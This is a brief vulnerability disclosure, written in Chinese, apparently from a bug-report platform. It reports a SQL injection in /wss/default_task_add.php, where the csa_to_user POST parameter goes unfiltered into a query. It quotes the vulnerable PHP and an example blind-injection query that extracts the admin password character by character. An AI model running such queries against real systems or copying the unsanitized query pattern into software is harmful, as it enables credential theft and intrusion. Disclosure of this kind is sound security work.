### 简要描述:
參數未過濾
### 详细说明:
/wss/default_task_add.php?
csa_to_user未過濾直接帶進SQL查詢
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201304/2119450024858be358de6fa15a2ec3a284f22860.jpg" alt="cc.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201304/2119450024858be358de6fa15a2ec3a284f22860.jpg)
$to_user = "-1";
if (isset($_POST['csa_to_user'])) {
$to_user= $_POST['csa_to_user'];
}
mysql_select_db($database_tankdb, $tankdb);
$query_touser = "SELECT * FROM tk_user WHERE tk_user_login = '$to_user'";
$touser = mysql_query($query_touser, $tankdb) or die(mysql_error());
可使用查詢使用者密碼
SELECT * FROM `tk_user` WHERE tk_user_login = 'admin' AND substring(`tk_user_pass`,1,1)='a'
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